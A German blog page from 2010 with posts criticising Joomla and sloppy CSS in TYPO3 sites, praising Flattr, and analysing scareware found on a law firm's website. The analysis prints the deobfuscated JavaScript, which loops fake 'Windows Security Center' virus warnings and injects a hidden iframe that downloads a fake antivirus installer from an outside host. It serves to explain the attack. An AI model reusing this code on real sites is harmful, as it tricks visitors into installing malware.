Wo mir Joomla aber häufig begegnet, ist bei sehr günstigen Angeboten für Webseiten (sowohl Wettbewerb für, als auch zur beratenden Prüfung durch mich). Fast immer sind das 1-Mann-Agenturen, deren Angebote und vor allem deren Auftreten mich nicht von gesteigerter technischer Kompetenz überzeugt. Ganz häufig sind das Quereinsteiger, die sich autodidaktisch irgendwie HTML und CSS angefressen und im Zuge der Joomla-Integration auch ein paar Brocken sehr schlechtes PHP angeeignet haben. Ich möchte das nicht generell kritisieren, jeder fängt mal an und lernt den Kram im Laufe der Zeit irgendwie mehr oder weniger gut. Das Problem ist, dass bei den Leuten, die mir im Joomla-Kontext begegnet sind, das weniger dominiert. Das heißt nicht, dass jeder Joomla-Integrator ein Stümper ist; nur eben, dass er sich in einem Umfeld mit auffällig vielen Stümpern bewegt.

Frage ist: Warum ist das so? Ist Joomla ein schlechtes CMS? Meiner Meinung nach ja, aber das ist wenig objektiv. Aber irgendwas muss doch da dran sein, wenn es so beliebt ist. Module zusammenstöpseln und eine irgendwie lauffähige Seite bekommen, ohne sich groß einarbetien zu müssen, können auch andere Systeme. Was ist es also, was all die Stümper und Anfänger so anzieht? Warum setzt man ein System ein, dessen nach vielen Jahren endlich erscheinende neue Version ungefähr das halbe Featureset von anderen Systemen vor fünf Jahren implementiert? Stichwort Rechtesystem oder tabellenfreier HTML-Output der Core-Funktionen. Weil es so einfach in der Integration ist und man vom Wissensstand her nicht in der Lage ist, ein besseres System einzusetzen? Dann stellt sich aber die Frage: Warum nimmt man Geld für eine Dienstleistung, wenn der eigene Wissensstand gerade mal für das einfachste Werkzeug reicht? Immerhin muss man den Joomla-Integratoren der Kreisliga lassen, dass sie meistens auch nur Kreisliga-Preise aufrufen. Wenn ich aber bei günstigen Nebenberuflern die Wahl habe zwischen einem ambitionierten Studenten und einem Feierabend-Joomla-Bastler, gewinnt der ambitionierte Student. Joomla im Angebot ist für mich ein klar schlechtes Zeichen, das würde ich nicht buchen. Gemeine Vorurteile? Vielleicht, aber auch das ist bei der Wahl eines CMS für Angebote für Geld zu berücksichtigen.

Aber mit der nächsten Version kommen doch endlich alle wichtigen Features… Ja, schön. Schon mal die Planungen für TYPO3 5.0 gesehen? Nein? Weil das noch nicht relevant ist, weil es in ferner Zukunft passiert? Genau. Handfeste Defizite in der aktuellen Version mit Planungen für die Zukunft zu entschuldigen, ist nicht zielführend, weil die anderen sich ebenfalls weiterentwickeln. Während in Villabajo noch mit einem benutzbaren Rechtesystem gekämpft wird, redet man in Villarriba von Aspektorientierter Programmierung, MVC, Content-Repositories und (vielleicht endlich mal praxistauglichem) Frontend-Editing.

Empfehlungen, die ich übrigens über die Jahre immer wieder gehört habe, sind ModX (das als Geheimtipp gilt), TYPO3 (das ich selber häufig nutze), Wordpress (weil alle es nutzen, es ein tolles Backend hat und es so schön nah am Code operiert), Textpattern (das ich vom Konzept her gar nicht mochte, das aber von seinen Fans vehement vertreten wird), Drupal (vor allem im Community-Kontext) und verschiedene kleinere recht charmante Systeme.


Please put the C in CSS

24 09 2010

Fast immer, wenn ich an Websites arbeite, die andere (Agenturen) verbrochen haben, stolpere ich über mehr oder weniger lästige Eigenheiten der konkreten Implementierung. Dass man TYPO3 auf etliche verschiedene Weisen mit Templates füttern kann, ist ja normal, auch dass es Abweichungen in der Sorgfalt im Umgang mit HTML-Markup und CSS-Code gibt. Aber es gibt Abweichungen im Rahmen des Nachvollziehbaren und solche, die einfach dumm, lästig und ärgerlich sind.

Aktuelles Beispiel: Ich mache zur Zeit einige inhaltliche Änderungen an einer Website, deren CSS-Code sehr eigenartig ist. Die auffälligste Eigenart ist dabei wirklich spaßig: Man hat dem BODY ein text-align: center; gegeben, ohne das bei nächster Gelegenheit, etwa einem Wrapper, wieder zurückzunehmen. Nun könnte einem im weiteren Verlauf auffallen, dass nun alles, aber wirklich alles zentriert wird. Das ist natürlich nicht zu übersehen und vor allem ziemlich lästig. Ich und die meisten anderen Frontend-Entwickler, die ich kenne, würden nun unseren Fehler bemerken und dem Wrapper ein text-align: left; zuweisen, wie es best practice ist. Nicht so der Entwickler dieser Website, denn der gibt der mittleren Content-Box diese Eigenschaft und zudem noch mal allen möglichen anderen Boxen, die nicht zentrieren sollen. Bei der Gelegenheit habe ich mal die style.css geöffnet und staunte nicht schlecht: Fast alle vergebenen Styles sind per ID an verschiedene Content-Boxen drangehängt, so dass beispielsweise eine H2 in Box A gestyled ist, in Box B, C und D und überhaupt anderswo nicht; was wiederum bedeutet, dass sie fast überall zentriert ist (und sonst die Standardeigenschaften des Browsers für H2 hat). Das ist eine Wartungshölle sondergleichen, denn bei jeder Inhaltsänderung, die über den initialen Zustand der Site hinausgeht, muss man den Style anfassen. Letztlich hat man also etwas ähnliches, wie inline-styles, nur eben in eine externe Datei ausgelagert und auf unvorhersehbare Weise mal wirkungsvoll und mal nicht. Die Vorteile der Kaskadierung werden also nicht ausgespielt, die Nachteile aber schon.

Nun wäre es eine Kleinigkeit, das alles zu korrigieren, aber dann schlägt gnadenlos der Nachteil der Kaskadierung zu: Man weiß nicht, welche Seiteneffekte sich bei grundlegenden Änderungen ergeben. Nimmt man etwa die Zentrierung für alles heraus, wird man gar nichts mehr zentriert vorfinden, weil bei absichtlich zentrierten Elementen möglicherweise eine Angabe zur Zentrierung weggelassen wurde, weil sich das ja implizit aus der nicht zurückgestellten Zentrierung des BODYs ergibt. Ohne eine genaue Analyse des Stylesheets und der Seitenstruktur, sowie umfangreiche Tests wird man solche Änderungen also besser nicht machen. Ich halte mich in solchen Fällen einfach an das vorgegebene System und ergänze meine nötigen Styles entsprechend. Das macht es nicht besser, aber wenigstens wird man – ohne daran Schuld zu sein – für jede dieser Änderungen angerufen und bezahlt.

Die ahnungs- oder lustlose CSS-Schluderei ist nur ein Aspekt dieser Website, auch die URLs der Seiten (mit CoolURI gemacht) waren weit entfernt von Sinn und Zweck einer guten URL-Struktur. Die Menüs sind lieblos zusammenkopiert, das Hauptmenü ein manuell erstelltes (und manuell zu pflegendes) Imagemap-Ungetüm, das einen besonders spannenden Nebeneffekt zeigt: Sind Seiten in TYPO3 nicht über zumindest irgendein automatisch erstelltes Menü zu erreichen, kann CoolURI die URL der Seite nicht wissen und wirft eine Fehlerseite. Man muss nun für jede dieser Seiten einen manuellen Eintrag in CoolURI vornehmen und den bei Änderungen auch Pflegen. Besonders lustig ist das, wenn man die URL-Struktur nach umfangreichen Änderungen neu startet und dann das Hauptmenü nicht funktioniert. Falls man eine automatische Sitemap hat, kann die einen immerhin retten. hat man hier aber nicht. Solche Schludrigkeit zieht sich durch das gesamte Projekt und macht erhebliche Mehrarbeit bei der Pflege. Kein Wunder, dass direkt nach Projektabschluss alle Passwörter geändert wurden und die Änderungen bei mir landen. Leider ist das kein Einzelfall, gerade im TYPO3-Kontext treffe ich immer wieder auf haarsträubende Implementierungen. Ob die Agenturen, die immerhin explizit TYPO3 anbieten, zu dumm oder zu faul sind, weiß ich nicht.

Also aufgemerkt: Wenn man jemanden beauftragt, eine Website umzusetzen, gerade bei TYPO3 und anderen komplexen Systemen, achte man auf einen Dienstleister mit Ahnung und Bock. Nur billig billig schnell schnell führt einen zu oft schon mittelfristig aufs Wartungs-Glatteis. Mir ist das recht, wenn ich der Typ bin, der jammern darf und dabei auch noch gut an der Schludrigkeit anderer verdient.


Lustige Malware-Analyse

21 09 2010

Gerade rief ein Kunde an und schilderte mir ein interessantes Phänomen auf der (sowieso schon sehr gruseligen) Website eines Anwalts: Auf einer Unterseiteeite kommt eine Abfrage mit folgendem Text:

Windows Security Center Virus (I-Worm.Troian.B) was found on your computer Click OK to install System Security AntiVirus

Klickt man Abbrechen, kommt folgende Meldung, die man nur abnicken kann, um postwendend wieder bei der ersten Abfrage zu landen.

Windows Security Center recommends you to install System Security Antivirus.

Seine Vermutung war korrekt: Das ist keine Warnung eines Virenscanners, sondern ein Versuch, einem etwas unterzujubeln. Ein Blick in den Quelltext verrät erst mal, dass man es hier mit einem verschachtelten Frameset zu tun hat, also muss man etwas suchen. Jeweils zwischen Vor- und Nachnamen der Kanzleipartner ist ein externes Script von http://google-stats50.info/ur.php eingebunden. Dieses wiederum enthält ein langes Array mit vierstelligen Zahlen und etwas JavaScript Logik, um daraus wieder ausführbaren Code zumachen. Den Inhalt der Datei kann man beispielsweise bei jsFiddle ausführen, wobei man das abschließende eval() durch ein harmloses alert() ersetzt. Dabei kommt der folgende Code heraus, den ich anonymisiert und der Lesbarkeit halber neu formatiert habe:

function download() {
  var ifr5="<iframe style='display:none;' src='http://update1.your-guardian.com/index2.php?abbr=MSS&setupType=with_gui&setupName=setup&uid=VIERSTELLIGEZAHL&ttl=ELFSTELLIGERHASH'></iframe>";
  document.body.innerHTML = ifr5 + document.body.innerHTML;
}

var count=1;

function myconfirm() {
  var UserWidth = window.screen.width / 2;
  var UserHeight = window.screen.height / 2;
  window.resizeTo(screen.width-9999,screen.height-9999);
  window.moveTo(UserWidth,UserHeight);

  if(count<20) {
    count = count+1;
    window.onblur = function() {}
    if(confirm('Windows Security Center\n\nVirus (I-Worm.Troian.B) was found on your computer\n\nClick OK to install System Security AntiVirus')) {
      alert('You must SAVE AND RUN System Security AntiVirus - IT WILL HELP YOU TO SAVE YOUR PC AND DATA');
      window.focus();
      setTimeout('window.onblur=function(){myconfirm();}',100);
      download();
    } else {
      alert('Windows Security Center recommends you to install System Security Antivirus.');
      myconfirm();
    }
  } else {
    window.resizeTo(window.screen.width,window.screen.height);
    window.moveTo(UserWidth,UserHeight);
  }
}

So, wir kommen der Sache schon näher, unsere Meldungen stecken hier im Klartext drin und wir sehen auch, was beim Klick auf OK passiert: Es wird ein iframe eingefügt, der eine Datei zum Download anbietet. Der ttl-Parameter der aufgerufenen iframe-Quelle sorgt übrigens dafür, dass der Download nur in einem kurzen Zeitfenster funktioniert. Scheinbar soll so die Analyse erschwert werden, ich musste mich also etwas beeilen. Die Datei, die dann heruntergeladen wird, scheint ein Installer für einen Fake-Virenscanner zu sein. Klickt man übrigens je 20 mal auf Abbrechen und die darauf erscheinende Warnmeldung, kommt man aus der Nummer auch wieder heraus. Ziemlich freundlich für eine Malware. Also doch nicht so spannend, wie es auf den ersten Blick aussah. Keine ausgenutzten Sicherheitslücken, keine wirklich bösen Malware, nur ein Wald-und-Wiesen Scareware-Scheiß. Dann frage ich mich allerdings, wieso der Quelltext verschleiert wird?

Viel spannender ist allerdings, wie das böse Script auf die Website der Anwaltskanzlei gekommen ist. Untypisch für eine automatische Infektion ist, dass das Script zwei mal genau zwischen Vor- und Nachname platziert wurde. Normalerweise landen automatische Infektionen doch irgendwo am Anfang oder am Ende einer Seite oder irgendwo mehr oder weniger zufällig eingestreut. Haben wir es hier mit einer manuellen Infektion zu tun? Aber warum wird das Script dann gleich zwei mal auf einer Seite eingebunden? Sowieso ist die Seite dubios, beispielsweise liegt sie, wie bereits erwähnt, in einem verschachtelten Frameset und die einzelnen Frameseiten werden von einer IP-Adresse geladen, nur der Hauptframe wird unter der Domain angezeigt. Optik und Quellcode sind gruselig, die ganze Seite wirkt hoffnungslos veraltet und ungepflegt. Dazu diese Infektion. An so einen Anwalt würde ich mich wohl eher nicht wenden.

Nachtrag 22.09.2010: Inzwischen ist das Ladescript http://google-stats50.info/ur.php nicht mehr erreichbar und die Infektionen der davon betroffenen Websites laufen ins Leere. Das ist ja sowieso die Achillesverse solcherlei Angriffe: Sobald der verwendete Loader offline ist, ist der Spaß vorbei.


Flattr ist keine Lösung für alles, aber gerade deswegen so schön

19 05 2010

Als ich den Vortrag von Peter Sunde auf der re:publica 2010 (Mitschnitt auf YouTube) gesehen habe, war ich sofort geflasht. Peter redete erst mal ein paar Minuten locker flockig über die Vergangenheit von Pirate-Bay, dass es einem Warm ums Herz werden konnte. Wenn etwas Punk ist, dann das. Dann wechselte das Thema zum neuen Projekt der Schweden: Flattr ist eine Art Micropayment-Dienst, dessen Idee so simpel wie genial ist. Oder sollte man kongenial sagen? Denn ähnliche bis sehr ähnliche Ideen gibt es auch anderswo, etwa bei Kachingle. Wie auch immer, der Einführungsfilm auf der Flattr-Homepage sagt in zwei Minuten eigentlich alles, was man wissen muss, also schnell mal anschauen:

Inzwischen habe auch ich meine Invite-Codes bekommen und habe einen Flattr-Button in meinem Blog. Wer mir also seine Wertschätzung zeigen möchte, kann dies nun auch via Flattr tun. Da sind wir auch schon beim Knackpunkt: Ich erwarte keine nennenswerten Einnahmen auf diesem Kanal, aber das ist auch gar nicht das, wofür Flattr gedacht ist. Für mich ist Flattr eine lang vermisste Möglichkeit, guten Inhalten im Netz meine Wertschätzung auch finanziell zu zeigen. PayPal Spendenbuttons haben das Problem, dass man den angemessenen Betrag bestimmen muss. Man will weder knausrig sein, noch 100€ im Monat an Spenden raushauen, also spendet man nur sehr selten für etwas. Ich habe zuletzt 25$ an Brian Dunning von Skeptoid gespendet, nachdem ich etwa 150 der 200 Episoden geradezu verschlungen habe. Solche Spenden sind aber eher die Ausnahme denn die Regel, wo nun Flattr ins Spiel kommt. Flattr löst das Problem, indem es die Sache einfach umdreht: Ich lege monatlich fest, wieviel ich insgesamt spenden möchte und alle Klicks auf irgendwelche Flattr-Buttons im Netz bekommen einen gleichen Anteil an dieser Summe. Die Flatrate-idee ist großartig, denn so sitzt mein Spendenfinger sehr locker. Jeder gute Text (und davon gibt es viele im Netz) bekommt so eine kleine Wertschätzung von mir. Damit wird niemand reich, aber die Geste zählt; es ist wie das Bier, das man jemandem ausgibt. Genau darauf habe ich gewartet.

Großartig wäre natürlich, wenn man seine Things I have flattred per RSS abrufen und in seinen Lifestream packen könnte, so als Premium-Empfehlungen. Großartig wäre auch, wenn die Kohle automatisch abgebucht würde und man nicht jeden Monat wieder manuell Geld überweisen müsste. Aber Flattr steckt noch in der Beta-Phase und dafür funktioniert es schon ganz prächtig.

Und weil ich das Wort Großartig noch nicht oft genug benutzt habe, hier noch einmal: Das großartige an Flattr ist gerade, dass man damit nicht reich wird, sondern auf einfachstmögliche Art ein paar Kröten verteilen kann. Auf der anderen Seite ist so ein Flattr-Button keine Anmaßung, eine wunderschön unaufdringliche Art, Besuchern eine kleine Wertschätzungsäußerungsmöglichkeit zu bieten. Eben keine Universallösung. Genau deswegen wird es erfolgreich sein.

P.S. Hatte nicht Facebook sowas schon seit Ewigkeiten in der Pipeline? Was ist daraus eigentlich geworden?